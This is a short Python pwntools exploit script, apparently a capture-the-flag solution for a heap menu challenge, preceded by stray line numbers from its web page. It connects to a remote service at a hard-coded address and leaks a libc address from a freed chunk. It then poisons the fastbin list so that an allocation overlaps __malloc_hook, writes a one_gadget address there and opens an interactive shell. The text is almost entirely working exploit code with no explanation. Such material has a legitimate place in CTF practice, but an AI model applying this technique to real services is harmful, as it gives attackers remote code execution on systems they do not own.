1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import * from ctypes import *
sla = lambda ch,data:p.sendlineafter(ch,data) sda = lambda ch,data:p.sendafter(ch,data) sd = lambda data:p.send(data) sl = lambda data:p.sendline(data) addr32 = lambda:u32(p.recvuntil(b"\xf7")[-4:]) addr64 = lambda:u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) lg = lambda addr_name,addr:log.success("{} --> {}".format(addr_name,hex(addr))) ru = lambda con:p.recvuntil(con) def debug(bp=0): gdb.attach(p,bp) pause()
p = remote('125.70.243.22','31986') libc = ELF('./libc.so.6') context.log_level = 'debug'
def cmd(choice): sla('choice:',str(choice)) def add(idx,size): cmd(1) sleep(0.1) sla('index',str(idx)) sleep(0.1) sla('size',str(size)) def delete(idx): cmd(2) sla('index',str(idx)) def edit(idx,len,con): cmd(3) sla('index',str(idx)) sleep(0.1) sla('length:',str(len)) sleep(0.1) sla('content:',con) def show(idx): cmd(4) sla('index',str(idx)) add(0,0x100) add(1,0x60) delete(0) show(0)
libc_base = addr64() - 0x39bb78 lg('libc base',libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
delete(1) edit(1,0x10,p64(malloc_hook - 0x23))
add(0,0x100) add(1,0x60) add(2,0x60)
edit(2,0x30,b'a'*0x13 + p64(libc_base + 0xd5c07))
add(3,0x10)
p.interactive()
|